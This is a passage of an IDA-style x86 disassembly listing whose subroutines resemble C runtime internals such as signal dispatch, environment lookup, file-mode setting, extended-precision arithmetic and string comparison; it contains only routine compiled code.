		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DBC5C
		mov	eax, offset dword_4DBC5C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DBC58
		mov	eax, offset dword_4DBC58
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DBC60
		mov	eax, offset dword_4DBC60
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DBC54
		mov	eax, offset dword_4DBC54


loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2


loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16


loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DBA30
		and	dword_4DBA30, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43D02C
		mov	dword_43D02C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------


loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]


loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43D020
		mov	ecx, dword_43D024
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43CFB0h[edx*4]


loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------


loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A


loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43D02C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------


loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B


loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DBA30, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43D02C, eax


loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx


loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D028
		cmp	dword_43CFAC, edx
		push	esi
		mov	eax, offset dword_43CFA8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CFA8h[esi*4]


loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4


loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CFA8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6


loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DCFF0, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB980
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB988, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB980
		test	esi, esi
		jz	short loc_425B3E


loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax


loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36


loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------


loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------


loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax


loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCDA0
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------


loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h


loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB958, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB958, 9


loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------


loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------


loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax


loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A


loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96


loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11


loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC


loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A


loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]


loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1


loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96


loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]


loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------


loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D4A8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D608
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi


loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi


loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DCDA4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DCFC4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB988
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C


loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE


loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax


loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CE8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DBC68, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427938
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 2600000h
		nop
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DBC68, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------


loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CB50C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 26006D9h
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DBC68, 2


loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DBC68
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 26006D9h
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DBA24
		mov	[ebp+arg_18], eax


loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081


loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6


loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2


loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002


loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 28C0000h
		nop
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047


loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE


loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D


loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------


loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB


loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE


loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------


loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	near ptr 2830000h
		nop
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2600000h
		jmp	short loc_42616E
; ---------------------------------------------------------------------------


loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax


loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D


loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190


loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
